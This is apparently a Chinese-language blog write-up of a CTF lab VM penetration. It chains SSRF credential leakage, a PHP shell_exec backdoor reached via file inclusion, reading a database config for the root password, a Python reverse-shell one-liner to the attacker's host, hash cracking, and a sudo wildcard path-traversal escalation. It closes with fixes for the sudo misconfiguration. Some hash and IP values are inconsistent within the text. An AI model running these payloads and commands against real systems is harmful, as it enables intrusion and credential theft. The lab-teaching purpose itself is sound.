在本次 CTF 靶机渗透中,我面对的是一台运行 Web 管理系统的虚拟机。它看似普通,却隐藏着多层权限控制与漏洞链。整个过程从最基础的主机发现开始,逐步深入到 SSRF 利用、凭证泄露、远程命令执行,最终通过 sudo 配置缺陷完成提权,成功获取全部三个 FLAG。
第一阶段:主机发现与目标确认
环境设定
- 加害机:Kali Linux 2025.1(IP:
172.16.12.144) - 靶机网络:VMware NAT 模式,子网为
172.16.12.0/24 - 所有机器均为本地虚拟机
主机扫描
首先,使用 nmap 进行主机存活探测:
Bash编辑nmap -sP 172.16.12.0/24

扫描结果返回 5 台活跃主机:
172.16.12.1、.2、.254:VMware 网关设备(MAC 地址以00:50:56开头)172.16.12.143:VMware 虚拟机(MAC:00:0C:29:07:DB:0A)172.16.12.144:攻击机自身
唯一可疑目标为 172.16.12.143,将其作为渗透入口。
第二阶段:Web 应用初探与用户注册
访问 http://172.16.12.143,页面标题为 “Web测试管理系统”,提供两个功能入口:
- 登录
- 注册
尝试 SQL 注入
在登录框中输入常见 payload(admin' OR '1'='1 --),但未绕过验证,页面仅提示“用户名或密码错误”。后端可能使用预编译语句或强过滤,SQL 注入不可行。切换至“注册”标签页,填写用户名 jhin 与简单密码 123,提交后成功跳转至欢迎页:

页面显示三个功能模块:

- 网站测试功能(可用)
- 项目文件查看(需额外登录)
- 文件包含测试(需额外登录)
则突破口锁定:优先探索“网站测试功能”。
第三阶段:功能分析与 SSRF 漏洞识别
点击进入“网站测试功能”,URL 为:
Text编辑1http://172.16.12.143/test.php
页面提供一个输入框,允许用户输入任意 URL 进行“安全测试”。尝试输入 http://127.0.0.1,系统返回完整的 HTTP 响应头数组,格式如下:
Array
(
[url] => http://127.0.0.1/
[content_type] => text/html; charset=UTF-8
[http_code] => 200
...
系统不仅访问了内网地址,还将原始响应头暴露给用户——这暗示存在 服务器端请求伪造(SSRF)漏洞。
第四阶段:搭建监听服务捕获请求头
为了进一步利用 SSRF,我在 Kali 上编写了一个简易 Flask 服务,用于记录所有来自靶机的 HTTP 请求头:
Python编辑

启动服务后,在靶机的“网站测试功能”中输入:http://172.16.12.144
Kali 控制台立即输出请求头:

观察输出结果发现为base64,解码后结果为:fuli:wsGdwWQZTu7U4seseGaG
用户名 fuli,密码 wsGdwWQZTu7U4seseGaG
使用该账号登录“项目文件查看”与“文件包含测试”功能,均成功进入。
第五阶段:发现隐藏管理页面与硬编码密码
探索“项目文件查看”功能
在“项目文件查看”页面中,系统要求输入目录路径。尝试输入 / 或 .. 均被拦截,提示:

错误:禁止使用非法路径
但输入 .(当前目录)却成功返回文件列表,路径为:/var/www/html/api

列出的文件包括:
filelist.phpinclude.phpwebtest.phpmgmt_page← 引起注意!
mgmt_page并无.php后缀,但名字明显暗示是“management page”(管理页面)。
访问管理页面
直接在浏览器访问:
Text编辑1http://172.16.12.143/api/mgmt_page
页面显示:

系统维护入口
请输入维护密码:
输入任意内容均无回显。于是右键 → 查看网页源代码,发现一段 PHP 代码竟被直接嵌入 HTML 中:
<?php
// 设置密码
$correct_password_hash = '96e44fa82e5a5263fb92337be422d3eb';
// 检查密码是否正确
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['password'])) {
$input_password = $_GET['password'];
if (strlen($input_password) !== 5) {
$error = "密码长度不正确";
} elseif (md5($input_password) === $correct_password_hash) {
$authenticated = true;
// 如果已认证且传入了cmd参数,执行命令
if (isset($_GET['cmd'])) {
$output = shell_exec($_GET['cmd']);
}
} else {
$error = "密码错误";
}
}
?>
破解 MD5 密码
将哈希值 96e44fa82e5a5263fb9237be422d3eb 提交至在线 MD5 解密平台,结果秒出:
成功获得维护密码:
SOUTH
第七阶段:LFI + RCE 实现远程命令执行
问题:维护页面无法直接执行命令
虽然输入 SOUTH 后提示“维护入口已打开!”,但页面没有提供命令输入框,也无法通过 URL 直接传参触发执行。
所以我转向“文件包含测试”功能
该功能允许用户指定一个文件路径进行包含。结合前面发现的 mgmt_page,尝试构造如下 URL:

http://172.16.12.143/api/include.php?file=mgmt_page&password=SOUTH&cmd=ls
关键点:
file=mgmt_page:包含管理页面逻辑password=SOUTH:满足认证条件cmd=ls:传入待执行的命令
远程命令执行(RCE)成功!
这意味着我们可以执行任意系统命令,例如:
whoamiid
至此,攻击面彻底打开,但输出受限,若想稳定获取信息,必须升级为交互式 Shell。
同时进行的本地信息侦察
Web 应用通常将 FLAG 放在 Web 根目录。我执行:
cmd=ls /var/www/
返回:cgi-bin flag1.txt html
找到第一个flag
查找数据库配置文件
Web 应用几乎必然连接数据库。常见配置文件名包括 config.php、database.php、db.php 等。
我向上遍历目录:cmd=ls ..
返回:
api css db.php index.php js logout.php welcome.php
发现
db.php,极可能是数据库配置文件。
立即尝试读取:cmd=cat ../db.php
页面成功返回了完整的 PHP 源码:
<?php
$host = 'localhost';
$db = 'web_test_management';
$user = 'root';
$pass = 'bd6d6wEZdTr2QNkk.l';
// ...
?>
获取 MySQL root 密码:
bd6d6wEZdTr2QNkk.l
这意味着,一旦获得 Shell,就能直接登录数据库,进一步挖掘用户凭证。
开始尝试能否远程登陆到数据库,发现无法连接到。

第八阶段:RCE 反弹 Shell 获取交互式终端
从命令执行到真实 Shell
虽然我们已能通过 URL 执行任意命令(如 cmd=ls),但这种方式存在明显限制:
- 输出被 HTML 转义或截断;
- 无法执行交互式命令(如
su、mysql);
因此,必须升级为真正的反向 Shell(reverse shell)。
在 Kali 上启动监听
在攻击机(Kali)上开启 Netcat 监听:
Bash编辑1nc -lvp 4444
监听 IP 为
172.16.12.144,端口4444。
构造反弹 Shell Payload
回到“文件包含测试”功能,构造如下 URL(使用 Python 反弹 Shell):
export RHOST="172.16.12.141"; export RPORT=4444; python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
该 payload 会:建立到
172.16.12.144:4444的 TCP 连接并且启动一个交互式/bin/sh。
成功获取 Shell
Kali 终端立即收到连接:

现在拥有完整的交互式 Shell,用户身份为 Web 服务运行账户(
apache)。
第九阶段:本地信息收集与获取 flag1
查看当前用户与权限
Bash编辑 whoami
输出:apache
寻找 flag1
根据 Web 目录结构,尝试查看ls /var/www/
返回:cgi-bin flag1.txt html
读取文件:cat /var/www/flag1.txt
得到第一个 FLAG:flag1{e707593d8a4c4c4db9d4a2f020258e7b}
第十阶段:提取数据库凭证并破解 admin 密码
登录数据库
在 Shell 中直接连接:
mysql -h localhost -u root -p'bd6d6wEZdTr2QNkk.l'
成功进入 MySQL 。
查询用户表
use web_test_management;
select * from users;
结果:

对 admin 的哈希进行 MD5 破解:
9eaf9317aac50c955575334a93d0b9c → chispa
明文密码为:
chispa在web实际测试中发现admin其实是禁用的,所以此密码用处暂且保留
第十一阶段:切换至 benjamin 用户获取 flag2
查看系统用户
由于现在是以web服务运行账户来进行运行的,所以我需要想办法开始提权,先ls /home
发现用户Benjamin,尝试能否切换到本地用户
尝试切换用户
bash编辑 su benjamin
根据社会工程学的一些猜测,尝试将admin的密码进行输入(chispa)。
切换成功!提示符变为:
读取 flag2
cat /home/benjamin/flag2.txt
输出:
flag2{8437b8760a7a4717ad4e41568a9301e}
第二个 FLAG 到手。
第十二阶段:sudo 路径遍历提权获取 flag3
此时,我们已通过反弹 Shell 和用户切换,以 benjamin 身份登录系统,并成功获取 flag2.txt。但最终目标 flag3.txt 位于根目录:
ls -l /flag3.txt
-r-------- 1 root root 45 Dec 23 18:00 /flag3.txt
权限为 root 独占(仅 root 可读),而当前用户 benjamin 并非 root,也无法通过 su 切换(不知道 root 密码)。
如何在不拥有 root 密码的前提下,读取 root 拥有的文件?
检查 sudo 权限 —— 整个流程中最有意思的漏洞
在 Linux 渗透中,sudo -l 是提权侦察的黄金命令。它能告诉我们:当前用户是否被允许以更高权限运行某些命令?
执行:[benjamin@localhost ~]$ sudo -l
返回关键信息:
[benjamin@localhost api]$ sudo -l
sudo -l
Matching Defaults entries for benjamin on localhost:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User benjamin may run the following commands on localhost:
(ALL) NOPASSWD: /bin/cat /root/notes/*
后两行配置意味着:
benjamin可以无需密码,以任意用户身份(包括 root)执行/bin/cat /root/notes/*;但路径被限定在/root/notes/目录下,且使用了通配符*。乍看之下,这似乎只能读取/root/notes/下的笔记文件,与flag3.txt无关。
但经验告诉我:通配符 + 路径未严格校验 = 潜在路径遍历风险。
理解通配符 * 的真实行为
很多人误以为 sudo /bin/cat /root/notes/* 中的 * 是“任意文件”的安全白名单。但实际上,* 是由 shell 在执行前展开的,而 sudo 本身并不对路径做语义校验——它只匹配命令行字符串是否符合规则。
更重要的是:如果我们在参数中插入 ..,shell 会先解析路径,再传给 cat。
例如:
sudo /bin/cat /root/notes/../1.txt
在 shell 中会被解析为:
sudo /bin/cat /root/secret.txt
而 sudo 规则检查的是原始命令行是否匹配 /bin/cat /root/notes/*。
但由于我们传入的是 /root/notes/../secret.txt,其字面形式仍以 /root/notes/ 开头,因此可能绕过检查!所以sudo 的路径限制若依赖通配符 * 且未使用 -- 或严格路径校验,就容易被 ../ 遍历绕过。
最后,构造路径遍历 payload
目标是读取 /flag3.txt。我们需要构造一个以 /root/notes/ 开头、但实际指向 /flag3.txt 的路径。
因此,完整路径为:/root/notes/../../flag3.txt
执行命令:
sudo /bin/cat /root/notes/../..//flag3.txt
系统处理流程:
- shell 解析路径 → 实际读取
/flag3.txt - sudo 检查命令是否匹配
/bin/cat /root/notes/*→ 匹配成功(因为开头是/root/notes/) - 以 root 权限执行
/bin/cat /flag3.txt→ 成功读取
输出:

第三个 FLAG 到手!
为什么这个漏洞存在?—— 开发者常见误区
这个提权点暴露了典型的权限配置错误:
| 错误做法 | 正确做法 |
|---|---|
使用 * 通配符限制路径(如 /root/notes/*) | 使用具体文件名,或配合 -- 防止参数注入 |
未意识到 .. 会导致路径穿越 | 对路径进行规范化(canonicalization)后再校验 |
| 认为“只要路径开头对就行” | 应使用绝对路径白名单 + 禁用相对跳转 |
实际上,安全的 sudo 配置应避免使用 *。



Comments | NOTHING